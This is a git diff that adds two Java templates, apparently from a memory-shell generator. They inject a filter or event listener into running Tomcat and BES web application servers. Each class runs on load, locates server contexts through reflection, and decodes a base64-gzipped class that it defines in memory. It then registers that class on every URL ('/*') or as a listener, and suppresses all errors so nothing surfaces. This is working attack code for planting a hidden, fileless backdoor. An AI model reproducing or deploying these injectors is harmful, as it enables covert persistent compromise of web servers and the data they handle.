diff --git a/jmg-core/src/main/java/jmg/core/template/BESFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/BESFilterInjectorTpl.java new file mode 100644 index 0000000..f15cce2 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/BESFilterInjectorTpl.java @@ -0,0 +1,258 @@ +package jmg.core.template; + +import java.io.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +public class BESFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new BESFilterInjectorTpl(); + } + + public BESFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = getThreads(); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + + } + return contexts; + } + + public Thread[] getThreads() { + Thread[] var0 = null; + + try { + var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads")); + } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) { + ThreadGroup var2 = Thread.currentThread().getThreadGroup(); + var0 = new Thread[var2.activeCount()]; + var2.enumerate(var0); + } + + return var0; + } + + private Object getFilter(Object context) throws Exception { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e1) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception ignored) { + + } + + } + return filter; + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = filter.getClass().getSimpleName(); + if (isInjected(context, filterName)) { + return; + } + try { + Object filterDef; + Object filterMap; + try { + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + try { + filterDef = Class.forName("com.bes.enterprise.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("com.bes.enterprise.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e3) { + filterDef = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance(); + } + } + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + Constructor[] constructors; + try { + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception e) { + constructors = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); + } + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + + } catch (Exception ignored) { + + } + } + + + public boolean isInjected(Object context, String filterName) throws Exception { + Map filterConfigs = (Map) getFV(context, "filterConfigs"); + for (Object key : filterConfigs.keySet()) { + if (key.toString().contains(filterName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + synchronized void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/BESListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/BESListenerInjectorTpl.java new file mode 100644 index 0000000..1fc028f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/BESListenerInjectorTpl.java @@ -0,0 +1,215 @@ +package jmg.core.template; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class BESListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new BESListenerInjectorTpl(); + } + + public BESListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = getThreads(); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + } + return contexts; + } + + public Thread[] getThreads() { + Thread[] var0 = null; + + try { + var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads")); + } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) { + ThreadGroup var2 = Thread.currentThread().getThreadGroup(); + var0 = new Thread[var2.activeCount()]; + var2.enumerate(var0); + } + + return var0; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + if (isInjected(context, listener.getClass().getName())) { + return; + } + try { + invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener}); + } catch (Exception e) { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", new Class[0], new Object[0]); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + arrayList.add(listener); + invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()}); + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", new Class[0], new Object[0]); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (int i = 0; i < arrayList.size(); i++) { + if (arrayList.get(i).getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +}